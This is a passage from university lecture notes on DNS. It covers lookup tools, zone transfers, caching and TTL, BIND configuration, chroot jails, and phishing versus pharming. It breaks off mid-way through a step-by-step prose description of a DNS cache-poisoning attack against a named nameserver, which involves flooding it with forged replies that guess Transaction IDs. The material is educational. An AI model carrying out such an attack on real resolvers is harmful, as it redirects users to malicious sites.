;; ANSWER SECTION:
229.62.9.58.in-addr.arpa. 604560 IN PTR ppp-58-9-62-229.revip2.asianet.co.th.
9.58.in-addr.arpa. 604560 IN NS conductor.asianet.co.th.
9.58.in-addr.arpa. 604560 IN NS piano.asianet.co.th.
9.58.in-addr.arpa. 604560 IN NS clarinet.asianet.co.th.
;; ADDITIONAL SECTION:
piano.asianet.co.th. 86160 IN A 203.144.255.71
conductor.asianet.co.th. 86160 IN A 203.144.255.72
clarinet.asianet.co.th. 86160 IN A 203.144.225.242
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sat Mar 29 15:20:28 2008
Note that the fourth entry in the RR in the Answer Section is
PTR now. Remember that the fourth entry in an RR is for the
type of record. As mentioned earlier, PTR stands for pointer
record. It is also called a reverse record — meaning a
32

record that associates a symbolic hostname with a numerical
IP address. The symbolic hostname in this case is ppp-58-9-
62-229.revip2.asianet.co.th — obviously a host in Thailand.
• For reverse DNS lookup, note that whereas the object of our
query was the IP address 58.9.62.229, its DNS lookup turned our
query into the following string (as is clear from the RR under the
Question Section in what is returned by dig)
229.62.9.58.in-addr.arpa.
This is a special format for reverse DNS lookup. As you can see,
the query string has the four integers of the IP address in the
reverse order and the string ends in the suffix in-addr.arpa.
[The reversal of the order in which the four parts of the IP address appear in the string stored in
the in-addr.arpa domain implies that we can again use a right-to-left order for searching for the
database where we might expect to the find the reverse mapping we are looking for. In the example
shown above, it is the integer 58 in the IP address that belongs to the domain portion of the address.
The integer 229, on the other hand, belongs to a specific machine.]
• If you just want to see the IP address of the host responsible for
mail exchange for a domain you can call dig with the MX option.
For example
dig +short moonshine.ecn.purdue.edu MX
returns
33

10 mx.ecn.purdue.edu.
This tells us that mx.ecn.purdue.edu is the mail exchange machine
for accounts that use moonshine.ecn.purdue.edu as their mail drop
host. Note also the option +short provided to dig. By default,
dig comes back with a verbose answer of which we have shown
two examples so far. In the verbose answers that the reader has
seen, any section can be suppressed by calling dig with a ‘no’
option. For example, a call like
dig +noauthority moonshine.ecn.purdue.edu
will suppress the AUTHORITY SECTION in the returned answer.
• dig can also be used to query speciﬁc nameservers for answers
to your DNS questions. In all of the previous examples shown,
dig queried the nameserver running on my laptop. But now
let’s ask the DNS server running at Rice University for the IP
address for moonshine.ecn.purdue.edu: (recall from the previous
dig replies that ns1.rice.edu is a slave nameserver for the
purdue.edu domain)
dig @ns1.rice.edu +nocmd moonshine.ecn.purdue.edu
we get the following reply
;; Got answer:
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available
34

;moonshine.ecn.purdue.edu. IN A
;; ANSWER SECTION:
;; SERVER: 128.42.209.32#53(128.42.209.32)
;; WHEN: Sun Mar 30 11:22:27 2008
Note that I called dig with the +nocmd option to suppress the
first few comments lines in the answer returned. As the reader
can tell from the previous outputs, those comment lines show us
the version of dig used and how the utility was called.
• So how does dig know which nameserver to query if you do not
specify one in the command line? dig examines the contents
of your /etc/resolv.conf file for the nameservers to send the
query to. The /etc/resolv.conf file in my laptop contains the
following entries:
search hsd1.in.comcast.net.
nameserver 127.0.0.1
The loopback address 127.0.0.1 shows up in this list because I run
a DNS server on my Ubuntu laptop, as previously mentioned.
35

• The contents of the /etc/resolv.conf file shown above are for
a session when I am connected to the internet at home where my
internet service is provided by comcast.net. Note that the first
nameserver listed is 127.0.0.1 which is the loopback address for
my laptop. This file would look different when I am connected
to the internet at Purdue or from a hotel room. dig sends its
queries to the nameservers in the order they are listed in the
/etc/resolv.conf file.
• In case you are wondering about the line that starts with search
in the /etc/resolv.conf file, that lines lists the domain names
that will be appended to a name that is not fully specified. For
example, the name moonshine.ecn.purdue.edu is a fully
qualified domain name (FQDN) but the name moonshine is
not. If you ask dig (or any of the other DNS-related utilities) to
fetch information on the moonshine name, it will search through
the list specified in the “search” line in the /etc/resolv.conf
line. If it finds moonshine in any of those domains, it will sub-
sequently use for moonshine the FQDN corresponding to that
domain. If it does not find moonshine in any of those domains,
dig will assume that you are seeking information on moonshine
that is a subdomain of the root itself.
36

17.5: host, nslookup, AND whois UTILITIES
FOR NAME LOOKUP
• host and nslookup are the other utilities that can also be used
to query nameservers. You may think of them as simpler cousins
of dig. For example,
host moonshine.ecn.purdue.edu
returns
moonshine.ecn.purdue.edu A 128.46.144.123
and
nslookup moonshine.ecn.purdue.edu
returns
Server: 127.0.0.1
Address: 127.0.0.1#53
Non-authoritative answer:
Name: moonshine.ecn.purdue.edu
Address: 128.46.144.123
37

• You can also ask nslookup to query a speciﬁc nameserver for
name lookup, as in
nslookup moonshine.ecn.purdue.edu ns2.rice.edu
which returns
Server:ns2.rice.edu
Address:128.42.178.32#53
Name: moonshine.ecn.purdue.edu
Address: 128.46.144.123
Note that, as indicated in the output of the dig commands shown
earlier, the ns2.rice.edu DNS server is a slave nameserver for
the ecn.purdue.edu domain.
• If you want the nslookup command to return the authoritative
nameserver for a given host, you need to supply nslookup with
the -type=NS option, as in
nslookup -type=NS moonshine.ecn.purdue.edu
which returns
Server:127.0.0.1
Address:127.0.0.1#53
Non-authoritative answer:
*** Can’t find moonshine.ecn.purdue.edu: No answer
Authoritative answers can be found from:
ecn.purdue.edu
origin = harbor.ecn.purdue.edu
38

mail addr = hostmaster.ecn.purdue.edu
serial = 2009040816
refresh = 10800
retry = 3600
expire = 3600000
minimum = 86400
This answer says that the cache of the local DNS server could
not supply the answer requested. (If it had, that would have con-
stituted a non-authoritative answer.) And then the answer
returned says that the authoritative answers can be had from the
nameserver running at the harbor.ecn.purdue.edu host.
• Another utility that can be used to determine the DNS name-
servers (besides other information) for a given domain is whois.
For example, if you invoke
whois purdue.edu
to ﬁnd the whois server for the ’purdue.edu’ domain (which
happens to be ’whois.educause.net’) and invoke
whois -h whois.educause.net purdue.edu
you can ﬁnd out that the zone that corresponds to the ’purdue.edu’
domain uses the following nameservers:
NS.PURDUE.EDU 128.210.11.5
NS1.RICE.EDU
PENDRAGON.CS.PURDUE.EDU 128.10.2.5
HARBOR.ECN.PURDUE.EDU 128.46.154.76
39

17.6: CREATING A NEW ZONE AND
ZONE TRANSFERS
• When a zone administrator A wants to let another administrator
B control a part of that zone — that is, a part of the domain —
that is within A’s zone of authority, A can delegate control for
that subdomain to B.
• For example, if I was setting up a separate organization within
Purdue for doing research in robotics and wanted to run my own
nameserver for the subdomain robotics.purdue.edu, I’d need to
approach the administrators in charge of the purdue.edu domain
and ask them to delegate the subdomain to me.
• I would then create a nameserver with a name like ns.robotics.
purdue.edu. This nameserver would become the SOA (Start
of Authority) (which is the same thing as the authoritative
nameserver) for all the hostnames within the robotics.purdue.edu
domain. [The reason for “Start” in “Start of Authority” is that I have the freedom to delegate
a portion of my robotics.purdue.edu domain to someone else for creating a new subdomain under
40

my domain. Obviously, the nameserver in my domain will then become merely a recursive nameserver
for the new subdomain.]
• Subsequently, the main nameservers for purdue.edu would be
authoritative nameservers for all hostnames within the purdue.edu
domain but not including the hostnames in robotics.purdue.edu.
With respect to the hostnames in robotics.purdue.edu, the
main purdue.edu nameservers would be the recursive name-
servers.
• Let’s now see how someone working on a computer in Gambia can
figure out the IP address for the moonshine.ecn.purdue.edu
hostname. The computer in Gambia would first contact one of
the root servers whose IP addresses are stored in every network-
enabled computer and will receive from the root server the IP
address of the gTLD DNS server for the generic ‘edu.’ top-
level domain. The Gambian computer will then access the ‘edu.’
domain nameserver with the same request as before and will re-
ceive the IP address of the nameserver for the purdue.edu domain.
This being the authoritative nameserver for the purdue.edu do-
main will supply the IP address for the requested hostname. As
mentioned earlier, when a name resolver works its way leftwards,
one step at a time, from the right end of a domain name to figure
out the IP address associated with the domain, this is referred to
as iterative name lookup.
41

• Let’s go back to the subject of multiple nameservers shown in
Section 17.4 for the ecn.purdue.edu domain — especially the
nameserver that is located at Rice. As mentioned in that sec-
tion, large domains typically have multiple nameservers for re-
dundancy. These nameservers will generally carry identical in-
formation. Sometimes, the nameservers may be categorized as
master and slave nameservers. Any changes to the nameserver
record for a local domain would be made to the master name-
server and would then get automatically synced over to a slave
via what is referred to as a Zone Transfer.
• Master and slave nameservers may also be referred to as the
primary and secondary nameservers. Any additional name-
servers for a domain would then be referred to as the tertiary
nameservers.
• A primary nameserver is the default for a name lookup. A query
will failover to the secondary (or to the tertiaries) if the primary
is not available.
• The important thing to note here is that the primary nameservers
for a domain are located within the zone that corresponds to the
domain. In other words, each domain is in charge of supplying the
IP bindings for all the names within that domain — as opposed
42

to some central repository being in charge of all the names and
their IP addresses.
43

17.7: DNS CACHE
• The description I gave earlier for how a computer in Gambia
might look up the IP address of a hostname in the purdue.edu
domain is true in theory (but in theory only).
• In practice, if each one of the currently about a billion computers
in the world carried out a DNS lookup in the manner previ-
ously explained, that would place too great a burden on the root
servers. The resulting traﬃc to the root servers would have the
potential of slowing down the name lookup process to the point
of its becoming useless.
• This brings us to the subject of caching the name lookups. To
understand caching in DNS and where exactly it occurs, let’s go
back to the business of your computer trying to ﬁgure out the IP
address associated with a hostname.
• Let’s assume that the hostname that your computer is interested
in is www.nyt.com.
44

• Note that it is not your computer as a single entity that carries
out a DNS name lookup. On the other hand, it is a client appli-
cation such as the Internet Explorer, Firefox, a mail client such
as sendmail, etc., that sends a query to a DNS nameserver.
• Let’s say you are within the purdue.edu domain and you point
your browser to www.nyt.com, the browser will send that URL
to one of the nameservers of the purdue.edu domain. (The
nameserver has to be running a program like BIND to be able to
process the incoming request for name resolution.) If this is the
ﬁrst request for this URL received by the nameserver for purdue.
edu, the nameserver will forward the request to the nameserver
for the ‘com’ domain, and the name lookup will proceed in the
manner explained previously. However, if this was not the ﬁrst
request for the name resolution of www.nyt.com, it is likely that
the local nameserver would be able to resolve the URL by looking
into its own cache.
• In general, the various client applications (such as mail clients,
web browsers, etc.) maintain their own DNS caches usually with
very short caching times (typically 1 minute but which can be as
long as 30 minutes) for the information stored.
• Additionally, the operating system may carry out some local
45

name resolution before sending out a name resolution request
to the nameserver of the local domain. At the very least, the op-
erating system would be programmed to look up the information
in /etc/hosts for any direct hostname-to-IP address mappings
you might have placed there.
• The operating system may also maintain a local cache for the
previously resolved hostnames with relatively short caching times
(of the order of 30 minutes) for the information stored.
46

17.7.1: The TTL Time Interval
• When a DNS query for a given hostname is fielded by a author-
itative DNS server, in addition to the IP address the server also
sends back a time interval known as the TTL (Time to Live)
for the response. The TTL specifies the time interval for which
the response can be expected to remain valid. What is stored in
the cache is both the IP address and its associated TTL. Subse-
quently, for all DNS queries for the same hostname made within
the TTL window, the local name-resolver working with the DNS
server will return the cached entry and the query will not be sent
to the remote nameserver.
• The TTL value associated with a hostname is set by the adminis-
trator of the authoritative DNS server that returns the IP address
along with its TTL. The TTL can be in units of minutes, hours,
days, and even weeks. Ordinarily, an ISP nameserver will cache
an IP address for a hostname for 48 hours.
• While DNS caching (along with the distributed nature of the
DNS architecture) makes the hostname resolution faster, there is
a down side to caching: any changes to the DNS do not always
take effect immediately and globally.
47

• Earlier we talked about authoritative nameservers and recursive
nameservers. On account of the explanation already provided,
we may refer to an authoritative nameserver as a publishing
nameserver and a recursive nameserver as a caching name-
server.
• A DNS query emanating from a nameserver is referred to as a
recursive query when the local nameserver has to ask another
nameserver in order to fulﬁll a lookup request.
• Let’s say you are running a DNS server on your laptop. (How
you can do that will be explained later in this lecture.) The very
ﬁrst time the name resolver in your laptop needs information on
a name elsewhere in the internet, the DNS server running on
your laptop will send that request to the DNS server provided
by your ISP. If that DNS server does not have the answer, the
query produced by the your laptop will eventually go to the au-
thoritative nameserver for the name you are interested in. Let’s
experiment with this process with the help of dig. When I
make the following command-line invocation on my laptop
dig +noauthority +noadditional +noquestion
+nocmd +nocomment nyt.com
where I have used various d‘’no’ options in order to fetch only the
48

ANSWER SECTION line and the timing stats I am interested in, I
get the following answer
nyt.com. 300 IN A 199.239.137.217
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sun Mar 30 15:24:20 2008
From the previous explanation of the ﬁve ﬁelds in a Resource
Record (RR), we know that the TTL associated with this IP
binding for the nyt.com name is 300 seconds. On the other
hand, if I make the following call with dig:
dig +noauthority +noadditional +noquestion
+nocmd +nocomment dynamo.ecn.purdue.edu
I get the following answer
dynamo.ecn.purdue.edu. 86400 IN A 128.46.200.24
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sun Mar 30 15:50:33 2008
Note that the TTL associated with the IP binding for the host-
name dynamo.ecn.purdue.edu is 86400 seconds — one full
49

24-hour period. During the TTL periods shown, if the resolver
running on my laptop tried to fetch the IP bindings for the two
host names — nyt.com and dynamo.ecn.purdue.edu— the
laptop DNS server will return the answer from its own cache as
opposed to approaching the DNS server provided by my ISP.
• After a response has been cached by the DNS server running
on my laptop, any subsequent queries about the same hostname
would be returned by the laptop DNS server provided the TTL
time associated with the cached responses has not gone down to
zero. If after waiting for about 20 seconds I call dig again to
fetch information on nyt.com, my laptop DNS server will return
the following answer:
nyt.com. 276 IN A 199.239.137.217
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sun Mar 30 15:32:57 2008
Note that the TTL value has gone down to 276 seconds from
the original value of 300 seconds. But also note that the Query
time is now 0 milliseconds. Originally it was 216 milliseconds.
The reason for the zero (or close to zero) query time should be
obvious. The query time is the time it takes to fetch the answer
to a DNS query.
50

• Service providers on the internet sometimes use short TTL for
load balancing purposes. By forcing the downstream recursive
DNS servers to fetch the IP bindings associated with a given
name more often, they can more evenly distribute the incoming
load targeting a particular symbolic hostname.
• If you execute any of the commands such as ‘dig @b.root-server.net
com’ and ‘dig @b.root-server.net uk’ to get a listing of the
gTLDs for the ’com.’ domain in the ﬁrst case and the ccTLDs
for the ’uk.’ domain in the second, you will ﬁnd the TTL associ-
ated with all such top-level domain servers is 172800 seconds (48
hours).
• The above fact is of considerable importance in making the DNS
system secure against a large-scale Denial-of-Service attacks of
the sort we talked about in Lecture 16. [What this fact implies is that even
if the root servers were to be taken down by an adversary, the information about the TLD would
continue to reside in the lower-level nodes of the DNS tree of zones for roughly two days (depending on
when exactly a lower-level DNS server queried a TLD server). That would be long enough for remedial
action to be taken against the adversary. On the other hand, if an adversary took down the gTLDs and
the ccTLDs — probably an impossible feat because many of the gTLDs are geographically replicated
and because of the ccTLDs are much more numerous — the slave servers for those TLDs would
provide immediate relief.]
51

17.8: BIND
• BIND (Berkeley Internet Name Daemon) is the most commonly
used implementation of a domain name server (DNS).
• The BIND software package consists of the following three com-
ponents
– a DNS server (the server program itself is called named in
the Ubuntu install of BIND)
– a DNS name resolver library (as mentioned in Section 17.3,
the software package that queries DNS servers for information
such as the IP address for a given symbolic host name is called
the resolver)
– tools such as dig, host, nslookup, etc., for verifying the
proper operation of the DNS server
• BIND was originally written in 1988 by four grad students at the
University of California, Berkeley. Later, a new version of BIND,
52

BIND 9, was written from scratch by Paul Vixie (then work-
ing for DEC) to support DNSSEC (DNS Security Extensions).
Other important features of BIND 9 include TSIG (Transaction
Signatures), DNS Notify, nsupdate, IPv6, mdc ﬂush, views, mul-
tiprocessor support, and an improved portability architecture.
• BIND 9 is maintained by ISC (Internet Systems Consortium),
a not-for-proﬁt US federal organization based in Redmond CA.
ISC’s principals are Rick Adams and Paul Vixie. [In addition to
BIND, ISC has also developed the software for DHCP, INN (InterNetNews, a Usenet news server that
incorporates the NNTP functionality), NTP (Network Time Protocol), OpenReg, etc. As an interesting
aside, note that ISC also carries out an annual count of the total number of hosts on the internet by
polling all the nameservers. The internet had 4,852,200 hosts in January 1995. In a span of fourteen
years, this number has grown 120 fold. The internet had over 600 million hosts in January 2009 (see
http://www.isc.org/solutions/survey). I last checked it in April 2012 — the number now is close
to a billion hosts]
• Microsoft’s products for network may or may not use BIND as
maintained by ISC. Microsoft uses a DNS called MicrosoftDNS
(derived from a WindowsNT port of BIND in early 1990’s).
• Other DNS implementations include djbdns, dnsmasq,
MaraDNS, etc.
53

• The named server daemon listens on port 53 for both UDP and
TCP requests. Most commonly the incoming name queries will
use the UDP transport and the answer returned by the name-
server will also be a UDP message. However, if the response to
be returned to a client is longer than 1024 bytes, the nameserver
will switch to the TCP protocol on the same port. It is not com-
mon for client ﬁrewalls to keep port 53 open for only the UDP
traﬃc. But such clients can get into name lookup trouble if a
remote DNS server needs to send back its full answer using TCP.
54

17.8.1: Configuring BIND
• Linux/Unix machines most commonly run BIND for DNS.
• As already mentioned, the actual name of the BIND server dae-
mon is named in a typical install of the name server. How this
nameserver daemon responds to a query depends much on a con-
figuration file called named.conf. On Ubuntu Linux platforms,
the pathname to this file is /etc/bind/named.conf.
• The main purpose of the named.conf file is to declare the lo-
cations of the zone files that the named server is allowed to
access for responding to the DNS queries received from name re-
solvers. The zone files contain the database related to the names
under the authority of the nameserver. A secondary purpose of
named.conf is to declare ACL (Access Control List) lists and
various options for the operation of the server.
• If you installed the Ubuntu distribution of Linux, your laptop may
already be running the named server daemon. Do the following to
find out:
ps ax | grep named
55

If BIND is installed, but not running, you can start/stop/restart
it by
/etc/init.d/bind9 start
stop
restart
Note that whereas the name of the DNS server daemon is named,
the name of the script in the /etc/init.d directory is bind9.
If BIND is not already installed in your Ubuntu laptop, use the
Synaptic Package Manager to install the bind9, bind9utils,
dnsutils, etc. packages.
• If bind9 is already installed and running, it is most likely con-
figured to run as a caching nameserver — which is all that
you need on your personal laptop.
• Section 17.11 shows an example of named.conf — the BIND con-
figuration file. This version is for Red Hat Linux. On Ubuntu,
the named.conf file in the /etc/bind/ directory pulls in some of
the information shown in Section 17.11 from two other files —
named.conf.local and named.conf.options — in the same di-
rectory.
• The named.conf file, or the other files it pulls in with the include
56

directives, supports C style (/* */) and C++ style (// to the end
of line) comments in addition to the Unix style (# to the end of
line) comments used in configuration files.
• The named.conf file (or, as mentioned above, it could be the
named.conf.local file or a file such as zones.rfc1918) contains
what are known as ACL declarations to define access control
lists. The acl dns slaves shown in the named.conf file in Section
17.11 specifies that slave nameservers to be used in the external
view. And the acl lan hosts specifies the group of hosts relevant
to the internal view.
• Some of the explanations in the rest of this section apply only
to named.conf for the Red Hat distribution of Linux. For the
Ubuntu distribution, the named.conf, named.conf.local, and
named.conf.options configuration files should work as installed
if the goal is to use your laptop as just a caching nameserver.
• If you are setting up a DNS server for a private 192.168.1.0 net-
work, the external and the internal views refer to how DNS re-
quests coming from outside the 192.168.1.0 intranet should be
processed vis-a-vis the lookup requests emanating from within
the 192.168.1.0 intranet.
57

• Next, the named.conf file will usually contain an op-
tions clause. (On Ubuntu platforms, the options clause may
be in the named.conf.options file.)
• The declarations made in the options clause are the default
values for the various fields. These defaults may be overridden in
the individual zone files that will be located in the /etc/bind/
directory, the same directory that contains the named.conf and
other such files. Note that the name of this directory is also
specified in the ’options’ clause. Note the values specified for the
listen-on field:
listen_on {
192.168.1.101;
127.0.0.1;
};
This implies that the machine on which the named server daemon
is running has 192.168.1.101 as its IPv4 address. This then also
becomes the IP address of the interface on which named will be
listening on. Note that the loopback address in IPv4 is 127.0.0.1
and the same in IPv6 is ::1.
• Let’s now talk about the controls clause in the named.conf file
shown in the next section of this lecture. To understand this
clause, note that BIND makes available port 953 for remote ad-
ministration of the nameserver. (As previously mentioned, the
58

server daemon named listens on port 53 for UDP requests for DNS
service.) The controls clause:
controls {
inet 127.0.0.1 allow {localhost;}
keys { rndc-key; }
}
results in a TCP listener on port 953 (the default control port).
If remote administration will not be used, this control interface
can be disabled by defining an empty controls clause:
controls {}
• The acronym rndc in the controls clause stands for Remote
Name Daemon Controller that is used for remote administra-
tion. We may think of rndc as the remote administration utility
whose operation is controlled by a secret key defined in the file
/etc/rndc.key. The various parameters of this key are defined
in /etc/rndc.conf configuration file. A new key can be gener-
ated by executing ‘rndc-confgen -a’ command.
• The inet statement within the controls clause specifies the IP
address of the local server interface on which rndc connections will
be accepted. If instead of 127.0.0.1, we had used the wildcard "",
that would allow for the rndc connections to be accepted on all of
59

the server machine’s interfaces, including the loopback interface.
The IP address that follows inet can accept a port number if the
default port 953 is not available. What follows allow is the list
of hosts that can connect to the rndc channel.
60

17.8.2: An Example of the named.conf Conﬁguration
File
acl "dns_slaves" {
xxx.xxx.xxx.xxx; # IP of the slave DNS nameserver
xxx.xxx.xxx.xxx; # same as above
};
acl "lan_hosts" {
192.168.1.0/24; # network address of your local LAN
127.0.0.1; # allow loop back
};
options { # this section sets the default options
directory "/etc/namedb"; # directory where the zone files will reside
listen-on {
192.168.1.101; # IP address of the local interface to listen
127.0.0.1;
};
auth-nxdomain no; # conform to RFC1035
allow-query { any; }; # allow anyone to issue queries
recursion no; # disallow recursive queries unless
# overridden below
};
key "rndc-key" {
algorithm hmac-md5;
secret "XXXXXXXXXXXXXXXXXXXXX";
};
controls {
inet 127.0.0.1 allow { localhost; }
keys { rndc-key; };
};
view "internal" {
match-clients { lan_hosts; }; # match hosts in acl "lan_hosts" above
recursion yes; # allow recursive queries
notify no; # disable AA notifies
// location of the zone file for DNS root servers
zone "." {
type hint;
file "zone.root";
};
// be AUTHORITATIVE for forward and reverse lookup inside LAN:
61

zone "localhost" {
type master;
file "example.local";
};
zone "0.0.0.127.in-addr.arpa" {
type master;
file "example.local.reverse";
};
zone "example.com" {
type master;
file "example.com.zone";
};
zone "0.1.168.192.in-addr.arpa" {
type master;
file "example.com.reverse";
};
};
view "external" {
// "!" means to negate
match-clients { !lan_hosts; };
recursion no; # disallow recursive queries
allow-transfer { dns_slaves; };
# allow "hosts in act "dns_slaves" to transfer zones
zone "example.com" {
type master;
file "external_example.com.zone";
};
};
• Every zone statement in the named.conf file specifies a do-
main that it refers to. Zone “.” is the root level domain for DNS.
Every DNS server must have access to this zone file on the host
on which the server is running so that if no other zone is able to
provide an answer to the incoming query, the query can be sent
off to the root servers.
• When ’type’ in a ’zone’ declaration is ’master’ that means that our
62

DNS server will be a primary server for that zone. Our DNS will
also be authoritative for these zones. When the ’type’ is ’hint’,
then the file named contains information on the root servers that
will be accessed should DNS query not be answerable from the
information in any of the zone files or from the cache.
• The zone file for a domain name like 127.in-addr.arpa is for
the in-addr.arpa domain names that are needed for reverse
DNS lookup. Reverse lookup means that we want to know
the symbolic hostname associated with a numerical IP address
in the dotted-quad notation. An IP address such as 123.45.67.89
would be associated with an in-addr.arpa domain name of
89.67.45.123.in-addr.arpa. The symbolic hostname asso-
ciated with the IP address could be listed in a zone file whose
name is something like 0.0.0.123.in-addr.arpa.
• Note the ’match-clients’ line in the ’internal’ and the ’external’
views. The internal view is for the LAN clients and the external
view for clients outside the LAN.
• Note also the definition of lan_hosts at the beginning of the
config file. The notation 192.168.1.0/24 is the prefix length
representation for specifying a range of IP addresses. Our exam-
ple notation says that the first 24 bits of the 32 bit IP address
are supposed to remain constant for all the hosts in this LAN. In
63

other words, the subnet mask for this LAN consists of 24 ones
followed by eight zeros, that is 255.255.255.0. This implies that
the network address for our LAN is 192.168.1.0 and the host ad-
dresses span the range 192.168.1.1 through 192.168.1.255. The
subnet mask tells you which portion of an IP address is the
network address and which portion is reserved for the host
addresses in a LAN.
• If you change the named.conf ﬁle, run the following command
named-checkconf
If you have no syntax errors in the named.conf ﬁle, the above
command will return nothing.
• Read the manpage on ’named.conf’ for further information.
64

17.8.3: Running BIND on Your Ubuntu Laptop
• As mentioned earlier, your Ubuntu machine may come with pre-
installed BIND that gives you a local nameserver ready to go as a
caching nameserver. If not preinstalled, install the bind9 pack-
age and the other related packages with the Synaptic Package
Manager as described in Section 17.10 of this lecture.
• In all likelihood, your laptop is configured to act as a DHCP client
so that it can obtain its IP address dynamically from a DHCP
server when you connect the laptop to the internet through ei-
ther an ethernet or a WiFi interface. [DHCP stands for Dynamic Host
Configuration Protocol. This protocol automatically assigns to a DHCP client such
networking parameters as the IP address, subnet mask, DNS nameserver addresses,
default gateway, etc. The parameters that are received by a client are only good for a
fixed interval of time that is referred to as a lease.]
• When the laptop receives its DHCP lease, the system will write
into the /etc/resolv.conf file the hostnames of the DNS
nameservers received from the DHCP server. In some non-Ubuntu
versions of Linux, this may not include the loopback address
127.0.0.1 that you need at the top of the file to ensure that your
laptop DNS server is the first to field the name queries emanating
65

from the resolvers. If that’s case with your machine, you can fix
the problem by first manually enter the string
as the first nameserver entry in the /etc/resolv.conf file.
At the same time, edit the following file
/etc/dhcp3/dhclient.conf
and uncomment the following line in this file
prepend domain-name-servers 127.0.0.1;
With this change, when your DHCP lease is renewed or when you
next connect to the internet, the ’nameserver 127.0.0.1’ will
continue to exist in your /etc/resolv.conf file.
66

17.9: WHAT DOES IT MEAN TO RUN
A PROCESS IN A chroot JAIL
• Ordinarily, when you run an executable on a Linux machine, it
is run with the permissions of the user that started up the exe-
cutable. This fact has major ramifications with regard
to computer security.
• Consider, for example, a web server daemon that is fired up by
a sysadmin as root. Unless some care is taken in how the child
processes are spawned by the web server, all of the server’s inter-
action with the machine on which it is running would be as root.
A web server must obviously be able to write to local files and
to also execute them (such as when you are uploading a form or
such as when a remote client’s interaction with the server causes a
CGI script on the server to be executed). Therefore, a web server
process running as root could create major security holes. It is
for this reason that even when the main HTTPD pro-
cess starts up as being owned by root, it may spawn
child processes as ‘nobody’. It is the child processes that
interact with the browsers. More technically speaking, we say
that the child HTTPD processes spawned by the main HTTPD
67

server process are setuid to the user ‘nobody’. The user ’no-
body’ has no permissions at all. (Because ‘nobody’ has no permissions at
all, the permissions on the pages to be served out must be set to 755. Purdue ECN sets
the permissions of public-web directory in user accounts to 750. That works because
the HTTPD processes dishing out the pages are runs as ‘www’.)
• Some people think that running a server process as ‘nobody’ does
not provide sufficient security. They prefer to run the server in
what is commonly referred to as the chroot jail.
• This is done with the ‘chroot’ command. This command allows
the sysadmin to force the program to run in a specified directory
and without allowing access from that directory to any other part
of the file system.
• For example, if you wanted to run HTTPD in a chroot jail at
the node ‘/www’ in the actual directory tree in a file system, you
would invoke HTTPD as
chroot /www httpd
All pathnames to any resources called upon by HTTPD would
now be with respect to the node /www. The node /www now
becomes the new ‘/’ for the httpd executable. Anything not
under /www will not be accessible to HTTPD.
68

• Note that, ordinarily, when an executing program tries to access
a file, its pathname is with respect to the root ‘/’. But when
the same program is run when chrooted to a specific node in the
directory tree, all pathnames are interpreted with respect to that
node.
• Therefore, you can say that ’chroot’ changes the default interpre-
tation of a pathname to a file. The default interpretation is with
respect to the root ‘/’ of the directory tree. But for a ‘chrooted’
program, it is with respect to the second argument supplied to
‘chroot’. As a result, a ‘chrooted’ program cannot access any
nodes outside of what the program got chrooted to.
• BIND is not chroot’ed in Ubuntu.
69

17.10: PHISHING vs. PHARMING
• Phishing is online fraud that attempts to steal sensitive in-
formation such as usernames, passwords, and credit card num-
bers. A common way to do this is to display familiar strings like
www.amazon.com or www.paypal.com in the browser window
while their actual URL links are to questionable web servers in
some country with weak cyber security laws. [You can check this out
by letting your screen pointer linger on such hyperlinked strings in your spam email in
order to see the URL that is displayed at the bottom of the browser.]
• In pharming, a user’s browser is redirected to a malicious web
site after an attacker corrupts a domain nameserver (DNS) with
illegitimate IP addresses for certain hostnames. This can be done
with a DNS cache poisoning attack.
• DNS servers that run BIND whose versions predate that of BIND
9 are vulnerable to DNS cache poisoning attacks.
70

• More commonly, it is the out-of-date BIND software running on
old Windows based nameservers that is highly vulnerable to DNS
cache poisoning.
71

17.11: DNS CACHE POISONING
• As mentioned already, by the poisoning of a DNS cache is meant
entering in the cache a fake IP address for a hostname, a domain
name, or another nameserver.
• What makes DNS cache poisoning a diﬃcult (or, in some cases,
relatively easy) exploit is the use of a 16-bit Transaction ID
integer that is sent with every DNS query. This integer is
supposed to be randomly generated.
• That is, when an application running on your computer needs
to resolve a symbolic hostname for a remote host, it sends out a
DNS query along with the 16-bit Transaction ID integer.
• If the nameserver to which the DNS query is sent does not contain
the IP address either in its cache or in its zones for which it has
authority, it will forward the query to nameservers higher up in
the tree of nameservers. Each such query will be accom-
panied with its own 16-bit Transaction ID number.
72

• When a nameserver is able to respond to a DNS query with the
IP address, it returns the answer along with the Transaction ID
number so that the recipient of the response can identify the
corresponding query. As long as the TCP or UDP port number,
the IP address and the Transaction ID from the remote host are
correct, the reply to the query is considered to be legitimate.
• The DNS cache poisoning attack proceeds as follows:
1. Let’s say you want to poison the cache of the nameserver run-
ning on the machine harbor.ecn.purdue.edu by placing in
its cache an incorrect IP address for, say, the amazon.com
domain. The IP address you want to place in the cache pre-
sumably belongs to some bad-guys organization.
2. You could start the attack by asking the DNS server running
at harbor.ecn.purdue.edu to carry out the name lookup
for the domain amazon.com by
dig amazon.com @harbor.ecn.purdue.edu
If you are not within the ecn.purdue.edu domain when you
experiment with the above command, replace harbor.ecn.
purdue.edu with the IP address of DNS server provided by
your ISP provider. You can see that information in your
/etc/resolv.conf ﬁle.
73

3. Assuming that there was no recent name lookup for amazon.com
at the DNS server at harbor.ecn.purdue.edu, the DNS
server will make an NS query to the nameserver in charge of
the com top-level domain for the IP addresses of the name-
servers in charge of the amazon.com domain. This NS query
issued by the nameserver at harbor.ecn.purdue.edu will
contain a pseudorandom Transaction ID integer.
4. As you execute the dig command shown above in one window
of your machine, in another window you will simultaneously
fire up a script that floods harbor.ecn.purdue.edu with
manually crafted packets that look like the reply the DNS
server at harbor is expecting but that contain the wrong IP
address. (As to what port on harbor to send these phony
replies to, see the last two bulleted points at the end of this
section.) Each reply will contain a different Transaction ID
integer, with the hope that the Transaction ID in one of those
fake replies will match the Transaction ID in the query sent
out by harbor.
5. Obviously, there is now a race between the correct reply from
the nameserver that has the legitimate IP address for the
amazon.com domain and the flood of fake replies sent by
you the attacker. If the Transaction ID integers used by the
DNS server at harbor are sufficiently predictable, the attacker
could get lucky. The DNS server running at harbor will use
the first reply that looks legitimate (in the sense that it con-
74

tains the correct Transaction ID number).
6. What could make such an attack worse is that your fake
